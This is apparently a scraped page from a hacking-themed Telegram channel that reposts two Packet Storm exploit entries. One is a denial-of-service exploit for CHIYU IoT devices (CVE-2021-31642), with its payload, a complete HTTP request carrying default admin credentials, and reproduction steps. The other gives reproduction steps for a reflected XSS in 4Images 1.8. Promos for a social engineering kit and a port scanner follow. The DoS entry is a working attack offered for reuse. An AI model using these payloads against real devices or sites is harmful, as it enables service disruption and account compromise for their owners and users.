Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
CHIYU IoT Denial Of Service

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
CHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.

MD5 | 2710ae05b0dfa9c84b0ae83ebc6ff34e

Download
# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
4Images 1.8 Cross Site Scripting

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
4Images version 1.8 suffers from a cross site scripting vulnerability.

MD5 | 4674a7f7a4902040e42fa9c804d23d17

Download
# Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.
-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials pinned «hacking: security in practice SE DOPPP KIT - a social engineering kit with 5 modules and lots of tools https://external-preview.redd.it/9gy645wxmfzP4kG-qB0kekBZv8UiMuYJMtoajgCXN7I.jpg?width=640&crop=smart&auto=webp&s=b4515f0c5fc950747aa1749485f40f53bbd46472…»
Install Naabu on Kali Linux

Naabu : is a port scanning tool.Continue reading on Medium »
Read more...